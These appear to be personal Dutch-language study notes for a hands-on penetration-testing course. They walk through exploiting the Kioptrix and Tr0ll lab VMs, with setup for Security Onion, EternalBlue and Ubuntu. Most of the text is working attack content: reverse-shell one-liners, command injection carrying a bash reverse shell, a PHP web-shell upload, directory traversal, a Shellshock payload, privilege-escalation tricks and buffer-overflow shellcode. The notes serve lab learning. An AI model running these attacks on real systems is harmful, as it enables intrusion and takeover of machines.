Hands-on Penetration Testing Labs 1.0
Lab setup
Download een Kali 2020 van
Google Drive link.
Deze is speciaal door de auteur gemaakt, zodat je niet dat gezeik met
sudo hebt.
De Kali draait onder VirtualBox.
In de instellingen voor de machine moet je in het
Network deel Adapter 1
aan NAT attachen (of aan bridged adapter).
Adapter 2 moet attached zijn aan
Host-Only Adapter.
Zowel user root (password toor
) als kali (password kali
) zijn gedefinieerd.
Inhoud
- Hands-on Labs
- Introduction
- Overview of Lab Commands and Tools
- Bonus Lab - Kali Linux 2020
- Download and Configure Kali Linux
- Download Vulnerable Lab VMs
- Kioptrix Level 1 - Enumeration and Exploitation
- Kioptrix Level 2 - Enumeration and Exploitation
- Kioptrix Level 3 - Enumeration and Exploitation
- Kioptrix Level 4 - Enumeration and Exploitation
- Kioptrix Level 5 - Enumeration and Exploitation
- Tr0ll 1 - Enumeration and Exploitation
- Tr0ll 2 - Enumeration and Exploitation
- Bonus Lab 1 Security Onion Lab Setup with VirtualBox
- Bonus Lab 2 Windows Eternalblue Vulnerable VM VirtualBox Setup
- Bonus Lab 3 Windows Eternalblue Exploitation and SnortPCAP Analysis
- Bonus Lab 4 Ubuntu Server 12.04 Vulnerable VM VirtualBox Setup
- Bonus Lab 5 Ubuntu Server 12.04 Heartbleed Exploitation and SnortPCAP Analysis
- Bonus Lab 6 SLMail Buffer Overflow Development
Meer gedetailleerde info
Overview of Lab Commands and Tools
Een reverse shell is als je bv. met Kali een Windows machine aanvalt, en op de Windows PC een shell naar de Kali creeert. Reverse shell: remote shell initiated from target to the attacker machine.
In het commando
bash -i >& /dev/tcp/192.168.56.101/8080 0>&1
staat de -i voor interactief.
'>&' betekent dat stdout en
stderr ge-redirect worden naar de andere machine.
'0>&1' betekent dat stdin gelezen worden via de
verbinding.
bash -i >& /dev/tcp/192.168.56.101/8080 0>&1
This command uses bash to create a network connection with the IP address 192.
168.56.102 over port 8080.
In order for this to work, the host 192.168.56.102 must have some sort of
listener like netcat or Metasploit's multi/handler actively listening on port
8080.
Bash -i makes an interactive instance of bash.
First of all, there are three default files in bash: stdin which is standard
input such as from the keyboard, stdout which is standard output such as the
terminal, and stderr which is standard error, which is where errors are ouput.
The file descriptors for stdin, stdout, and stderr are 0, 1, and 2 respectively.
The >& causes it to send standard output and standard error to be sent through
the connection /dev/tcp/192.168.56.101/8080, and 0>&1 sets standard input to be
read through the connection.
Python moet geinstalleerd zijn op de target machine
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.56.102",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
This next command is a simple one liner that uses Python code to import the
socket library, and initiate a network socket to the IP address and port
specified within s.connect, which will connect to the listening server.
Verhaal over TTY shells.
python -c 'import pty; pty.spawn("/bin/sh")'
Let's take a look at this simple command here.
This is a Python one liner to import the pty library which handles pseudo
terminal utilities, and attempts to spawn a /bin/sh shell.
/bin/sh -i
This command spawns a /bin/sh shell by trying to run the command interactively
with the -i switch.
7:15: netdiscover
7:35: nmap
8:05: nikto
8:20: dirb
8:50: msfconsole
9:15: burpsuite
Setting up Kali
Klik op Bestand (File) - Host Network Manager.
Als het goed is moet er VirtualBox Host-Only
Ethernet Adapter staan.
Zo niet, kan je er 1 maken met
Netwerk (Network) - Aanmaken (Create).
Onder DHCP server moet
Enable staan.
Ook moet bij de Eigenschappen (Properties)
van Adapter staan:
Automatisch adapter instellen (Configure Adapter
Automatically
Verhoog in de instellingen (System) de
hoeveelheid RAM tot ongeveer de helft van wat je hebt.
Verander het Pointing Device
in PS/2 Mouse
Schakel bij Network
Adapter 2 in, en
vul bij Attached to in:
Host-only Adapter
(de 1e adapter moet wel NAT zijn, voor
Internet connectivity).
Haal in de sectie USB het vinkje weg bij
Enable USB Controller
Je kan nu Kali starten.
Als eth0 geen IP-adres heeft (na
ifconfig) kan je het volgende commando doen:
service smbd restart && dhclient eth0.
In principe moet eth0 een adres in de 10. range
hebben, eth1 in de 192. range.
Maak een snapshot, en doe
dan
apt-get update && apt-get upgrade -y
Importing VMs
Dubbelklik op een .OVA-file, en klik dan op
Import
In de Network settings moet achter
Attached to staan
Host-only Adapter.
De naam moet dezelfde zijn als die je in Kali hebt gekozen.
Kioptrix 1
Hier vind je een walkthrough van een ander.
Doe: netdiscover -i eth1
Je krijgt dan 3 IP-adressen, maar je moet waarschijnlijk de laatste hebben (de 1e 2 horen bij VirtualBox).
Gebruik dit adres in: nmap -p- -A IP-adres
De -p- is om alle poorten te scannen,
de -A voor host detection, etc.
1 van de open poorten is 139 (Samba) en je gebruikt
Metasploit om te bepalen welke versie er draait
(nmap -sV laat de versie niet zien):
msfconsole
use auxiliary/scanner/smb/smb_version
set RHOST 192.168.56.110
run
Als je in Google gaat zoeken naar samba exploit,
evt. nog voorzien van versienummer (2.2.1a), dan kom je uit bij
deze pagina van exploit-db.com
Op die pagina staat een stuk code, die moet je in een bestand in Kali
plakken, met bv. de naam 10.c.
Dat bestand compileer je met
gcc 10.c -o 10 (naam van de
output is 10).
Dat programma kan je starten
(met ./10 -b 0 192.168.56.110), en
dan heb je toegang tot Kioptrix1.
Kioptrix 2
Hier vind je een walkthrough van een ander.
Zet eerst proxy-instellingen in browser (127.0.0.1 en 8080). Normaal staat hij op no proxy.
Vervang de recentste Java (11?) door een oudere versie (8) met
update-alternatives --config java.
Bij mij werkt versie 8 juist niet.
Start dan burpsuite (4:10).
Vanaf de command line moet je echt burpsuite intikken.
In de gratis versie kan je alleen temporary projecten hebben.
Klik op Next en op
Use Burp Defaults
Onder User Options en Display
kan je evt. het lettertype vergroten (zowel in de sectie
User Interface als
HTTP Message Display (dialog).
Je moet het programma wel herstarten.
5:30: Neem dezelfde proxy-instellingen (127.0.0.1 en 8080) als in
Firefox, via
tabbladen Proxy en Options.
Klik op Intercept is off (tabblad
Intercept).
Ga in de browser naar http://burp,
en klik rechtsboven in het venster op
CA Certificate om het certificaat te downloaden
(klik op Save file
(de file heet cacert.der).
6:35: Ga in de Preferences naar
View Certificates (door in het zoekvak
certificate in te tikken).
Klik op Import in het tabblad
Authorities.
Het certificaat zou in Downloads moeten staan.
Klik op beide Trust...-checkboxes
7:14: Vervolgens kan je proberen Kioptrix2 als web server te bereiken via de browser. Helaas moet je dan een naam en password intikken.
Je kan proberen de source van de inlogpagina te bekijken, om te zien of het mechanisme heel simpel is.
Vervolgens zou je wat standaardcombinaties kunnen proberen, zoals
admin, admin.
08:15: Als dat niet lukt ga je kijken naar SQL injection.
Om te beginnen zet je Intercept on.
Log in met iets willekeurigs, bv. test/test.
Schakel over naar Burp, waar je onder het
tabblad Raw het request ziet.
Rechtklik, en kies Send to Intruder.
Ga dan naar het tabblad Intruder.
Klik op tabblad Positions, en dan op
Clear$.
Attack type moet
Sniper blijven.
Selecteer de username, en klik op Add$.
Dan zelfde voor password.
09:14: Ga naar de Payloads tab.
Zet de payloads uit het tekstdocument in je klembord, en
klik op Paste.
Dan klikken op Start Attack.
Op het tabblad Results kan je voor elk
Request de Response
bekijken.
Er komen bij de resultaten maar 2 lengtes voor en de kortste (779)
lijken te werken.
Selecteer 1 van die resultaten, en rechtsklik.
Kies Request in browser en
in original session.
Zet intercepting uit.
11:45: Terug naar Firefox, en maak nieuw tabblad.
Daar plak je de link uit Burp.
Je krijgt dan een simpele interface om te pingen.
Wat je kan proberen is om meerdere commando's te koppelen, zoals
ping 127.0.0.1; ifconfig
Start in Kali een netcat listener:
nc -nlvp 4444, en plak het volgende in de
web interface van het victim:
127.0.0.1; bash -i >& /dev/tcp/192.168.56.101/4444 0>&1
(het IP address van Kali).
Tik dan:
python -c 'import pty; pty.spawn("/bin/sh")'
16:45: Als je nu ls doet zie je o.a. het bestand
pingit.php
Je hebt geen root privileges.
Tik: lsb_release -a (resultaat: CentOS), en dan
uname -a (kernel 2.6.9).
17:50: Ga in Google zoeken naar mogelijkheden tot privilege escalation.
Kopieer 9542.c naar Kali.
Verhuis het naar de map /var/www/html,
om het toegankelijk te maken vanaf Kioptrix.
Start Apache (Kali): service apache2 start
Op Kioptrix: cd /tmp en
wget http://IP_address/9542.c
gcc 9542.c -o 9542,
chmod +x 9542,
./9542
Dat werkt niet, en daarna probeer je 9545.c
Kioptrix 3
Hier vind je een walkthrough van een ander.
2 open poorten, maar 22 (SSH) is zelden makkelijk te exploiteren zonder 1 of andere authentication brute force of het hebben van een private key.
Dus richt je je op poort 80, met
dirb 192.168.56.xxx
Rechtsklik op de index.php in de map
IP-address/Gallery, en kies
Open link
Klik dan op Login.
Er staat iets over LotusCMS, dus je gaat
kijken of daar exploits voor zijn.
Je vindt hier (Rapid 7) een exploit waarmee je een remote shell kan creeeren.
De exploit zit in Metasploit, dus doe
msfconsole, en dan
use exploit/multi/http/lcms_php_exec
set RHOSTS 192.168.56.xxx, en dan
show options, om te controleren
dat alles goed is ingesteld.
Het standaardpad is /lcms/, en volgens de maker
van de video werkt dat niet (op de exploit web pagina lijkt het wel te
kunnen), en moet je
set URI /index.php?system=Admin doen.
Daarna kan je run doen, en krijg je een
Meterpreter shell.
Tik shell, en daarna het commando
python -c 'import pty; pty.spawn("/bin/bash")'
Je hebt nu een gewone command prompt, en kan bv. proberen naar root te gaan:
cd /root.
Maar dan blijkt dat je als gebruiker www-data
die rechten niet hebt, dus je moet overgaan naar privilege escalation.
Bekijk de password file met cat /etc/passwd.
De laatste 2 users zijn loneferret en
dreg.
Doe cd /home en kijk wat er in de mappen
dreg en loneferret zit
(met ls -lah).
In de 2e map vind je een bestand om te bekijken:
cat CompanyPolicy.README.
Erin staat dat employees het commando sudo ht
moeten doen om files te bekijken, editen, etc.
Je voert het commando uit, probeert op goed geluk 3 passwords, maar het lukt
niet.
Dan ga je zoeken met
find / -maxdepth 5 -name *.php -type f -exec grep -Hn password {} \; 2>/dev/null
naar PHP-files met password erin.
In de lijst valt vooral 1 map op (er staat zelfs een password in:
fuckeyou), en daar ga je heen met
cd /home/www/kioptrix3.com/gallery, en je
bekijkt een file: cat gconfig.php
Je gaat toe naar dezelfde web page waar je eerder was, en vult
als user root in, en als password
fuckeyou
In het linkermenu klik je op Gallery, en
dan op dev_accounts.
Je ziet dan 2 hashed passwords, voor de eerdergenoemde gebruikers.
Die kan je proberen te ontcijferen op de site
crackstation.net
De passwords zijn Mast3r en
starwars.
Je gaat dan weer terug naar je command prompt om te proberen onder
deze users in te loggen.
Begin met su loneferret
Je kan na het inloggen opnieuw
sudo ht proberen, maar krijgt de melding
Error opening terminal: unknown
Aangezien de SSH poort ook openstond,
kan je ssh loneferret@192.168.56.xxx proberen.
Na inloggen weer sudo ht, en je krijgt weer een fout:
Error opening terminal: xterm-256color
Als je de error Google't, vind je op de site van Stackoverflow
deze aanbeveling: export TERM=xterm.
En daarna werkt sudo ht wel, en kom je in de
editor ht terecht.
Je gaat je nu richten op privilege escalation.
Je opent het bestand /etc/sudoers.
Aan het einde van de regel voor loneferret
voeg je dit toe: , /bin/sh
Als je het bestand opslaat kan je sudo /bin/sh doen,
en cd /root
Een andere manier om credentials te krijgen gaat met
burpsuite (17:00).
Kioptrix 4
Hier vind je een walkthrough van een ander.
Doe: netdiscover -i eth1
Je krijgt dan 3 IP-adressen, maar je moet waarschijnlijk de laatste hebben (de 1e 2 horen bij VirtualBox).
Gebruik dit adres in: nmap -p- -A IP-adres
De -p- is om alle poorten te scannen,
de -A voor host detection, etc.
Doe enum4linux IP_address.
Je ziet o.a. user loneferret
Dan dirb IP_address.
De directory van John is toegankelijk, en levert
een inlogscherm op.
Door een enkele quote in beide velden te zetten krijg je meer info dan wanneer je normale waardes invult.
3:03: Opnieuw Burpsuite gebruiken.
In Attack type gebruik je nu
Battering ram.
Dat gaat alle payloads met die 2 parameters tegelijk proberen.
Bij de resultaten zie je o.a. lengte 851, met code 302.
Probeer Request in browser (na rechtsklikken), en
In original session.
Het lijkt te werken, maar je komt niet echt verder.
7:30: Probeer nu user John en password
test via Burpsuite.
Je gaat bij de aanval nu John laten staan
en alleen bij het password de injection-waardes proberen.
Je krijgt dan de melding Something went wrong, en
een Member's Control Panel
Zet nu op het Options tabblad
Follow redirections Always, en dan weer
Start attack
Lengte 492 werkte niet, die van 1676 wel.
Doe weer Request in browser.
Het password van John blijkt MyNameIsJohn te zijn.
Probeer nu ssh john@IP_address,
tik het password in, en je bent binnen.
Je kan echter maar beperkt aantal commando's doen.
12:05: Doe echo os.system('/bin/bash').
Je bent nu uit de beperkte shell, maar nog steeds user
John.
Je gaat zoeken naar hardcoded inloggegevens in .PHP-files
met
find / -maxdepth 5 -name *.php -type f -exec grep -Hn password {} \; 2>/dev/null
.
Je vindt iets in robert.php, en gaat hem bekijken
met cat /var/www/robert/robert.php
Doe: ps aux | grep mysql.
In de uitvoer kan je zien dat mysql als
root draait.
Er zit een module in mysql die udf (user
defined function) heet, en waarmee je systeemcommando's binnen mysql
kan doen.
Dus: login in mysql met mysql -u root
use mysql; en
select * from mysql.func; (waarmee je de
udf zoekt).
Met het volgende commando copieer je iets van de bin
map naar de tmp map, en geeft het root permissions:
select sys_exec('cp /bin/sh /tmp/; chown root:root /tmp/sh; chmod +s /tmp/sh');
Je gaat naar de tmp directory toe: cd /tmp, en
dan: ./sh
Kioptrix 5
Hier vind je een walkthrough van een ander.
Nadat je Kioptrix 5 hebt gestart moet je achter
mountroot intikken: ufs:/dev/ada0p2
Doe: netdiscover -i eth1
Je krijgt dan 3 IP-adressen, maar je moet waarschijnlijk de laatste hebben (de 1e 2 horen bij VirtualBox).
Gebruik dit adres in: nmap -p- -A IP-adres
De -p- is om alle poorten te scannen,
de -A voor host detection, etc.
1:50: Poort 80 en 8080 zijn open.
Als je in Firefox naar het IP-adres gaat krijg je
It works.
In de source code van die pagina zie je een URL staan.
2:45: Je gaat in Google zoeken naar de applicatie in die URL,
pChart 2.1.3, i.c.m. met exploits.
In de exploit-db(.com) vind je er verschillende,
o.a. m.b.t. directory traversal.
In de location bar van Firefox pas je het stuk na "index.php" aan met
het stuk uit de URL in de exploit-db
(IP_address
/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd).
Je krijgt dan de password file op je scherm.
4:00: Stel Firefox als proxy in, en start burpsuite.
Intercept is on op tabblad
Proxy,
en herlaad de webpagina in Firefox.
Klik rechts en Send to intruder
Ga naar tabblad Positions, klik op
$Clear$, selecteer
%2fetc/password en klik op
Add$
Tabblad Payloads,
kopieer de lange lijst met Apache files aan het eind van deze pagina
in het vak (klik op Paste).
Tenslotte Start attack
Lengte 223 lijkt niets op te leveren. De andere ook niet, behalve dat je ergens FreeBSD ziet.
7:10: Zet intercept weer uit, en ga dan zoeken in Google op
Freebsd default configuration Apache.
Je vindt
dit artikel.
Onder step 3, punt 9, zie je een configuratie file, en je plakt die
in de url:
http://(Kioptrix 5)/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fusr/local/etc/apache22/httpd.conf
Deze hele paragraaf is nodeloos ingewikkeld.
Je kan bovenste link gewoon in browser URL plakken.
7:55: Rechtsklik in het Payload tabblad, en
dan Send to repeater.
Op het Raw tabbblad van Repeater
vervang
je alles na %2f door usr/local/.../httpd.conf
Klik op Go in het
Request tabblad
Klik rechts in het Response tabblad, en dan
Show response in browser.
Dan zie je de complete configuratiefile.
In de config zie je achter SetEnvIf dat
alleen Mozilla 4.0 geaccepteerd wordt.
Probeer als URL IP_address:8080.
Dat levert Forbidden op.
9:25: Doe request nog een keer met Intercept on.
Je ziet dat je user agent 5.0 hebt (op tabblad Raw,
dus ga je die overal vervangen, via Match & Replace
op tabblad Options.
Je hoeft alleen maar een vinkje te zetten voor de regel met 4.0,
en (Intercept off) de pagina te verversen.
Je krijgt een pagina met de map phptax
10:05: Klik op de link.
Kijk in Google of er exploits zijn voor phptax, en
die zijn
er.
Als je naar de pagina wilt in Kali moet je wel eerst het vinkje voor 4.0
weer weghalen.
12:10: Dit request komt uit 1 van de exploits in exploit-db, en
het maakt een file rce.php:
http://(Kioptrix 5):8080/phptax/index.php?field=rce.php&newvalue=%3C%3Fphp%20passthru(%24_GET%5Bcmd%5D)%3B%3F%3E
Je kan het commando ook in de Decoder tab
van Burpsuite plakken, om de vreemde tekens te laten vertalen.
Het vinkje moet weer voor user agent 4.0, Intercept on, en dan
kan je bovenstaande link in Firefox plakken.
Intercept weer uit, en je zou gebruik kunnen maken van de nieuwe file:
http://192.168.56.114:8080/phptax/data/rce.php?cmd=id
http://(Kioptrix 5):8080/phptax/data/rce.php?cmd=hostname
levert ook iets op.
14:00:
Doe eerst nc -nlvp 4445 (op Kali), en dan (target)
http://192.168.56.114:8080/phptax/data/rce.php?cmd=perl%20-MIO%20-e%20%27$c=new%20IO::Socket::INET(PeerAddr,%22192.168.56.114:4445%22);STDIN-%3Efdopen($c,r);$~-%3Efdopen($c,w);system$_%20while%3C%3E;%27
Je zou nu met uname -a iets moeten zien,
maar bij mij werkt het niet.
Vanaf hier niet kunnen afmaken.
In Lecture 9.txt is de volgorde ook anders.
Je gaat nu zoeken naar exploits voor privilege escalation, en vindt
deze.
Zet alle code in een file 28718.c,
Je wilt de file van Kali naar Kioptrix sturen, en doet
nc -nlvp 4445 < 28718.c
Zie ook lifesfun101.github.io voor walkthrough (niet veel uitleg, probeert wel meer. Op digitalcowboy.me meer uitleg.
Troll 1
1:05: O.a. poort 21 (ftp) open.
Anonymous FTP en toegang tot lol.pcap
Evt. eerst FTP installeren met
apt-get install ftp.
Maak verbinding met ftp IP_address,
haal de file op met get lol.pcap en
quit
2:15: tcpdump -nnttttAr lol.pcap | less -Sr:
don't resolve ports to names, change the time format, prints Ascii
payload, reads the lol.pcap file sending it to less
In de output zie je ook de text file secret_stuff.txt,
en de inhoud ervan doet vermoeden dat
sup3rs3cr3tdirlol een directory zou kunnen zijn.
4:35: Ga in Firefox naar
https://IP_address/sup3rs3cr3tdirlol, en
voila, je ziet de file roflmao
Met file roflmao blijkt dat de file een Linux
executable is.
Je voert hem uit met chmod +x roflmao en
./roflmao.
Je krijgt de melding Find address 0x0856BF to proceed,
wat opnieuw een directory zou kunnen zijn (hoofdletters zijn belangrijk!!).
6:00: Weer in Firefox, en je krijgt 2 mappen:
good_luck en
this_folder_contains_the_password.
In de 1e map staat de file which_one_lol.txt,
die een lijst met users(?) bevat.
Zet ze in een file met de naam usernames,
bv. via knippen en plakken.
In de 2e map staat een file (pass.txt) die alleen de tekst
good_job:) bevat.
Poort 22 (SSH) was ook open, dus nu ga je met
hydra -L usernames -p Pass.txt (Tr0ll 1 IP) ssh -t1
brute force proberen in te loggen (-t1 = 1 thread).
Dit levert niets op.
patator is doorgaan beter voor brute force van SSH.
Doe git clone https://github.com/lanjelot/patator.git,
en dan cd /patator
Voer dan dit uit:
python -W ignore patator.py ssh_login host=IP_address user=FILE0 0=/root/usernames password=Pass.txt
Het resultaat is dat in alle gevallen 'authentication failed', behalve
voor user overflow
Helaas krijg ik de melding:
Traceback (most recent call last):
File "patator.py", line 2863, in
from impacket.dcerpc.v5.dcomrt import DCOMConnection
ImportError: No module named impacket.dcerpc.v5.dcomrt
Je gaat nu proberen in te loggen met user overflow
en password pass.txt:
ssh overflow@(Tr0ll 1 IP)
(en je bent binnen).
In werkelijkheid krijg ik eerst deze melding:
The authenticity of host '192.168.56.115 (192.168.56.115)'
can't be established.
, maar dat schijnt te zijn omdat ik niet eerder met de host
verbinding heb gemaakt.
Vervolgens werkt pass.txt niet.
10:16: uname -a om de kernelversie te kunnen zien.
En je wordt eruit gegooid.
lsb_release -a laat zien dat version 14.04 is,
en kernel is 3.13.
Zoek naar privilege escalation exploits in Google:
ubuntu 14.04 privilege escalation 3.13
Kopieer alle tekst die je vindt.
Ga naar de webroot met cd /var/www/html,
en zet de tekst in 37292.c
Start Apache op Kali: service apache2 start.
Haal op Troll1 de code op:
wget http://192.168.56.101/37292.c, compileer
(gcc 37292.c -o 37292), maak executable
(chmod +x 37292) en voer uit.
Tr0ll 2
Eerst in Firefox proberen. Levert plaatje op en tekst "Me again. LOL". Kijk naar de source van het plaatje. Author is Tr0ll, zou username kunnen zijn.
ftp 192.168.56.107, met als user en password
beide Tr0ll.
ls, en je ziet de file
lmao.zip, die je met get
ophaalt.
Helaas heeft het bestand een password nodig.
3:10: Probeer dirb.
Volg de link van robots.txt (rechtsklikken).
Je krijgt een lijst van directories (?).
Schrijf die naar een bestand (bv. dirs),
en voer die aan dirb:
dirb IP_address dirs
Het blijkt dat je 4 uit de lijst kan benaderen, zoals
/noob.
Alle 4 leveren hetzelfde plaatje, en je gaat ze downloaden om te kijken
of er iets interessants in zit.
Kijk met ls -la naar de file groottes, en
1 van de 4 is iets groter.
6:00: Doe strings name.jpg, en je
ziet aan het eind de tekst
Look deep within y0ur_self for the answer.
Natuurlijk is y0ur_self ook weer een folder,
en daarbinnen staat answer.txt.
Daarin staat een heleboel cryptische troep.
Plak die op 1 of andere manier in file base64.
Dan: base64 --decode base64 | sort | uniq > decoded.
Het resultaat lijkt op een password list.
8:00: Je gaat proberen de file lmao.zip te kraken m.b.v. deze lijst:
fcrackzip -u -D -p decoded lmao.zip.
Het password is ItCantReallyBeThisEasyRightLOL
Unzip van lmao.zip levert een file noob op.
Dit lijkt blijkbaar op een SSH private key.
Mogelijk is noob het userid.
Eerst moet je de permissions van de private key veranderen:
chmod 700 noob
Dan: ssh noob@(Tr0ll 2 IP) -i noob.
Antwoord: TRY HARDER LOL!
10:23: Probeer hetzelfde commando weer maar met debugging:
ssh -vv noob@(Tr0ll 2 IP) -i noob
Ergens in de uitvoer zie je staan
Remote: Forced command.
Forced commands zijn mogelijk kwetsbaar voor shellshock.
Je kan dat evt. vinden door in Google
Forced command vulnerability in te tikken.
Dus doe:
ssh noob@(Tr0ll 2 IP) -i noob '() { :;}; echo SHELLSHOCK'
Antwoord: SHELLSHOCK
Dan:
TRY HARDER LOL!
ssh noob@(Tr0ll 2 IP) -i noob '() { :;}; /bin/bash'
Je hebt nu een shell (kan je zien met id).
12:37: Genereer nu een public SSH key op Kali Linux, en voeg hem toe aan de
authorized SSH keys op het target:
ssh-keygen -b 2048 -t rsa
Zet hem in de default location, en geen passphrase.
Je krijgt dan de private key.
Ga naar de locatie waar ie staat, en kopieer de private key.
Doe op de target, waar je nog steeds limited shell hebt:
echo "KEY" > .ssh/authorized_keys
Je moet nu met
ssh noob@192.168.56.120 -I .ssh/id_rsa
kunnen inloggen.
15:10: Nu proberen te escaleren naar root, via:
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
(zoek naar root permissions, 3 niveau's diep).
Errors gaan naar /dev/null, zodat we ze niet zien.
De map /nothing_to_see_here is vast interessant.
Binnen de map choose_wisely zijn 3 mappen,
door1, etc.
In alle 3 mappen zit een bestand r00t,
maar hou in de gaten dat de situatie steeds verandert.
Soms heb je wel toegang, soms niet, etc.
Je moet de deur kiezen die zegt dat de correct usage
r00t input is.
door1 bevat het executable
r00t.
Je krijgt de melding dat het programma input nodig heeft
(bij mij werd de verbinding verbroken en de target ge-reboot).
Als je
./r00t $(python -c 'print "A" * 1000')
(geen idee waarom je dat zou doen) krijg je een
Segmentation fault (lijkt te wijzen op dat
buffer overflow zou kunnen werken).
Je gaat nu op Kali zoeken:
locate pattern_create (een Ruby script).
Voer dan dit uit (gebruik het volledige metasploit pad):
pattern_create.rb -l 1000
(je zoekt een manier om het executable te laten crashen).
Je kopieert de 1000 characters.
Doe op het target gdb r00t.
Dan r (pattern from pattern_create.rb),
je krijgt melding
Program received signal SIGSEGV, Segmentation fault
20:00: Kopieer het adres (bv. 6a413969), en ga terug naar Kali.
locate pattern_offset, en
doe pattern_offset.rb -q (string from gdb)
Je krijgt: Exact match at offset 268
Nu kijken of je de EIP kunt manipuleren.
Eerst weer gdb r00t, dan
r $(python -c 'print "A" * 268 + "B" * 4')
Je krijgt weer
Program received signal SIGSEGV, Segmentation fault,
adres 0x42424242 (42 staat voor 'B').
Ga uit debugger.
22:10: env - gdb r00t
show env
unset env LINES
unset env COLUMNS
run $(python -c 'print "A" * 268 + "BBBB" + "\x90" * 16 + "C" * 100')
info registers
Het adres achter ESP is wat je nodig hebt: 0xbffffc80.
Ga uit gdb, en tik (op Kali):
msfvenom --platform linux -p linux/x86/exec -f py CMD="/bin/sh" -b '\x00\x0a\x0d' -a x86 -e x86/shikata_ga_nai
25:55: Je krijgt deze output:
buf = b""
buf += b"\xb8\x93\x80\x49\x82\xda\xcc\xd9\x74\x24\xf4\x5a\x31"
buf += b"\xc9\xb1\x0b\x83\xea\xfc\x31\x42\x11\x03\x42\x11\xe2"
buf += b"\x66\xea\x42\xda\x11\xb9\x32\xb2\x0c\x5d\x32\xa5\x26"
buf += b"\x8e\x37\x42\xb6\xb8\x98\xf0\xdf\x56\x6e\x17\x4d\x4f"
buf += b"\x78\xd8\x71\x8f\x56\xba\x18\xe1\x87\x49\xb2\xfd\x80"
buf += b"\xfe\xcb\x1f\xe3\x81"
Je moet alles behalve de \x.. er uit halen, zodat je dit krijgt:
\xb8\x93\x80\x49\x82\xda\xcc\xd9\x74\x24\xf4\x5a\x31\xc9\xb1\x0b\x83\xea\xfc\x31\x42\x11\x03\x42\x11\xe2\x66\xea\x42\xda\x11\xb9\x32\xb2\x0c\x5d\x32\xa5\x26\x8e\x37\x42\xb6\xb8\x98\xf0\xdf\x56\x6e\x17\x4d\x4f\x78\xd8\x71\x8f\x56\xba\x18\xe1\x87\x49\xb2\xfd\x80\xfe\xcb\x1f\xe3\x81
Dan (op target):
env - ./root $(python -c 'print "A" * 268 + "\x80\xfc\xff\xbf" + "\x90" * 16 + "(MSFVENOM PAYLOAD)"')
Security Onion
OS for network security monitoring, intrusion detection, log management en threat hunting. Snort is een IDS, en Squirt een visualization tool.
Download Security Onion ISO file.
In VirtualBox New, type is Linux en Ubuntu64.
Zet memory zo hoog mogelijk, want dit OS vergt veel resources.
Create virtual hard disk now, laat het type VDI, laat het dynamically, 20 GB ruimte.
Ga naar Settings, General, tabblad Advanced, en zet Shared Clipboard op Bidirectional. Zet evt. aantal processors op 4. Klik in Storage op Empty onder Controller IDE. Navigeer naar de gedownloade ISO. Zet Network Adapter 2 (er moet echt een 2e bijkomen, de 1e staat op NAT) op Host only, en klik op Advanced, achter Promiscuous Mode verander in Allow VM's.
7:13: Begin installatie (klik Start). Als de boot klaar is, dubbelklik Install SecurityOnion. Klik steeds op continue, tot installatie klaar. KLik Restart now. Er wordt gevraagd Remove installation medium, maar dat gaat automatisch, dus gewoon Enter. Maak na inloggen eerst snapshot (Machine, Take snapshot).
Devices, Insert Guest Additions CD image. Zodra klaar, open terminal, sudo reboot.
Als venster te klein is,
11:42: Dubbelklik setup op desktop.
Elastic setup: Continue
Yes, configure network interfaces
Er moeten nu 2 staan, enp0s3 en
enp0s8.
Je moet 3 kiezen, 8 is de sniffing interface, 3 heeft Internet connectivity.
Kies DHCP .
Yes, configure sniffing
Yes, make changes
Yes, reboot
13:15: Na reboot, opnieuw dubbelklik setup.
Elastic setup: Continue
Yes, skip network...
Evaluation
enp0s8 (should be monitored).
Create userid/password
Yes, proceed
Na heeeeeele lange tijd komen er nu een aantal dialog boxes, die je allemaal
met OK kunt beantwoorden.
15:10: Maak terminal accessible from desktop.
Open terminal, tik cd Desktop,
gedit terminal.desktop, en voer deze tekst in:
[Desktop Entry]
Name=Terminal
Exec=/usr/bin/x-terminal-emulator
Terminal=true
Type=Application
Icon=/usr/share/icons/gnome/48x48/apps/gnome-terminal.png
Save, en dan sudo chmod +x terminal.desktop
Verander profiel terminal via
Edit - Profile Preferences
17:15: Security Onion bijwerken via sudo soup
Als update klaar is, druk op Enter om te rebooten.
Als je problemen hebt in Security Onion, moet je als eerste dit doen:
sudo sostat | less
De status van alle services hoort OK te zijn.
Zo niet, doe dan: sudo nsm_sensor_ps-restart,
let op de kolom met OK's aan de rechterkant.
20:45: Meest voorkomende probleem is dat Squert geen Snort alerts laat zien. 3 veel voorkomende oorzaken:
- bad custom rules;
- sguil service failing;
- sniffing interface failing to process packages.
Je kan als volgt een test doen om te zien of Squert goed functioneert.
Doe:
sudo tcpreplay -l 20 -i enp0s8 -t /opt/samples/zeus-sample-1.pcap
(replay van pcap met malicious traffic, net alsof het live over the wire gaat).
Error messages zijn niet belangrijk.
Start Squert, en voer je
userid/pass in (niet dezelfde als voor Security Onion).
Je zou nu alerts moeten zien van trojan activity.
Eternal blue VM setup
Ga naar Microsoft om een W7 virtual machine te downloaden, alleen zijn die niet meer te krijgen.
Stel network in op Host only adapter.
Start machine, open command prompt (administrator), start Powershell,
en tik het volgende commando in:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" SMB1 -Type DWORD -Value 1 -Force
Schakel Windows Firewall uit in het Control Panel.
Ubuntu setup
3:20: Guided - use entire disk and set up VM
No automatic updates
Yes (Install the grub boot loader?)
6:25: Set root password via sudo set passwd root
Switch to root: su root
apt-get install apache2.2-common
a2enmod ssl
service apache2 restart
mkdir /etc/apache2/ssl
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/apache2/ssl/webserver.key -out /etc/apache2/ssl/webserver.crt
(vragen kan je allemaal met Enter beantwoorden.
ifconfig eth1 up
dhclient eth1
ifconfig
vi /etc/apache2/sites-available/default-ssl
Voeg tussen ServerAdmin en DocumentRoot regel een regel
ServerName 192.168.56.xxx:443 (adres van local host)
De SSLCertificateFile wordt /etc/apache2/ssl/webserver.crt
, en de ...KeyFile wordt
/etc/apache2/ssl/webserver.key
Sla de veranderingen op.
apt-get install apache2-mpm-prefork
